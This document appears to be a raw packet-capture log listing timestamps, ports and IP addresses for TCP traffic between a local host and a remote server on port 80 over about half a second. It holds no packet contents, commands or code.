Dec 26, 2024 13:23:16.508790970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.508956909 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.509550095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.509803057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.509848118 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.510536909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.510549068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.510622025 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.511364937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.511596918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.512073040 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.512240887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.512384892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.512427092 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.513195992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.513279915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.514208078 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.514317989 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.514337063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.514415979 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.515008926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.515050888 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.515173912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.515896082 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.516132116 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.516455889 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.516859055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.517191887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.517293930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.517679930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.517764091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.517905951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.518598080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.518870115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.518922091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.519440889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.519535065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.519666910 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.520385981 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.520927906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.521044970 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.521198988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.521742105 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.521804094 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.522130966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.522371054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.522449970 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.523037910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.523163080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.523231983 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.523983002 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.524054050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.524107933 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.524825096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.524935007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.525039911 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.525719881 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.525912046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.526252985 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.526649952 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.526684999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.526745081 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.527558088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.527725935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.527791023 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.528605938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.528881073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.529020071 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.529515982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.529527903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.529639959 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.530296087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.530380964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.530709982 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.531187057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.531330109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.531402111 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.532048941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.532170057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.532222986 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.532938957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.533091068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.533169985 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.533893108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.534111023 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.534164906 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.534833908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.534986973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.535033941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.535837889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.535851002 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.535908937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.536550999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.536655903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.536757946 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.537425995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.537573099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.537636042 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.538364887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.538487911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.538554907 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.539307117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.539405107 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.539460897 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.540169954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.540198088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.540391922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.541042089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.541166067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.541261911 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.541963100 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.542084932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.542179108 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.542912960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.543077946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.543128014 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.543759108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.543926954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.543977022 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.544886112 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.545130968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.545177937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.546024084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.546142101 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.546250105 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.547070980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.547116041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.547164917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.548202038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.548243046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.549137115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.549209118 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.549232006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.550017118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.550060034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.550158024 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.550780058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.550796986 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.550976992 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.551460028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.551558018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.552061081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.552083015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.552104950 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.552398920 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.552733898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.552870035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.552978039 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.553702116 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.553714037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.553772926 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.554572105 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.607836008 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.676281929 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.717860937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.717905045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.718148947 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.718148947 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.718173027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.718522072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.718533993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.718652010 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.719321966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.719877005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.720144987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.720200062 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.720484018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.721070051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.721206903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.721262932 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.721920013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.722003937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.722044945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.722929955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.723046064 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.723057985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.723750114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.723927021 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.723947048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.724630117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.724677086 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.724719048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.725513935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.725563049 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.725589991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.726440907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.726526976 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.726547003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.727365971 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.727416039 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.727499008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.728233099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.728280067 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.728362083 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.729109049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.729167938 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.729262114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.730046988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.730120897 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.730137110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.730942965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.731127977 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.731153965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.731852055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.731956005 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.732004881 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.732754946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.732805014 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.732824087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.733680964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.733803988 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.733863115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.734586000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.734641075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.734656096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.735469103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.735532045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.736330986 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.736412048 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.736562014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.737304926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.737488985 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.737503052 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.738111019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.738169909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.738241911 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.739021063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.739075899 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.739130974 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.739947081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.740035057 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.740048885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.740808010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.740911961 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.740969896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.741909981 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.741921902 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.741965055 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.742626905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.742711067 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.742743015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.743514061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.743627071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.743678093 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.744493961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.744559050 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.744599104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.745373011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.745450020 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.745831966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.746233940 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.746280909 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.746294022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.747126102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.747186899 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.747210979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.747999907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.748097897 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.748213053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.748941898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.748995066 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.749012947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.749881029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.750000000 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.750025988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.750818968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.750993013 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.751094103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.751691103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.751751900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.751797915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.752665043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.752721071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.752782106 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.753449917 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.753623962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.754425049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.754488945 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.754563093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.755217075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.755273104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.755290985 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.756258965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.756375074 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.756401062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.757102013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.757122040 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.757137060 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.757975101 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.758058071 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.758078098 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.758944988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.758984089 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.759002924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.759758949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.759917021 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.760013103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.760637045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.760688066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.760725021 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.761550903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.761595011 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.761626959 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.762480021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.762624025 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.762644053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.763329983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.763494015 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.763513088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.764242887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.764461994 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.764482975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.810939074 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.928507090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.928527117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.928539991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.928556919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.928595066 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.928654909 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.929455042 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.929486036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.930169106 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.930376053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.930547953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.930612087 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.931226969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.931348085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.931487083 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.932159901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.932332993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.932621002 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.933082104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.933192968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.933295012 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.933917999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.934052944 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.934117079 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:16.934895039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.934933901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:16.934993029 CET	49716	80	192.168.2.8	185.215.113.16
